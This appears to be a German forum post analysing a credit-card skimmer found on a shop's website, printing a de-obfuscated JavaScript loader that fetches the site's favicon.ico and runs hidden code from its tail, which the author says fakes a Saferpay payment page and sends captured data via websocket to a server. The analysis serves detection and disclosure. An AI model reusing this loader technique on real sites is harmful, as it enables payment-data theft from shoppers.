Der angezeigte code
de-obfuskiert zu
Javascript:
(async function _f0() {
let _g0 = await fetch("/skin/frontend/rcz/default/images/favicon.ico");
if (_g0.ok) {
let _g1 = await _g0.text();
var _v0 = new Function(_g1.slice(-153027));
return _v0();
}
}());
Unter der URL des Favico's kommt man auf ne ICO file, welche jedoch am angeführten offset Javascript code beinhaltet, welchen dieser Code nachlädt, welcher zumindest das wort saferpay mehrmals enthält - auf jeden Fall sieht es nicht legitim aus JS für sowas in favicon.
ico zu verstecken, das macht auch kein JS-packer...
Edit: Der JS Code in favicon.ico baut die Saferpay Website nach, sammelt die eingesammelten Daten, schreibt den hostname von dem das JS stammt (rcz) dazu, und sendet es in JSON via Websocket an einen Server. Ich hab gerade kein entsprechendes Tooling bei der Hand um die nervigen obfuscations aufzulösen, mal sehen ob mir im Krankenstand langweilig wird und ich den Kollegen von RCZ ein Writeup schreibe.
Auf den ersten Blick stimme ich zu, das sieht sehr schwammig aus. Eine nicht-belegte Möglichkeit wäre es, dass Angreifer welche diesen Code auf RCZ geschleust haben dadurch den User nicht auf die "echte" SaferPay Seite lotsen sondern auf von ihnen kontrollierten Code - wobei es mich noch wundert das dieser Code eben im Kontext von RCZ ausgeführt wird und nicht saferpay, und ich mich zu erinnern glaube das bei mir im Bezahlvorgang die legitime saferpay URL geladen wurde....das Hirn rattert, morgen mal genauer ansehen.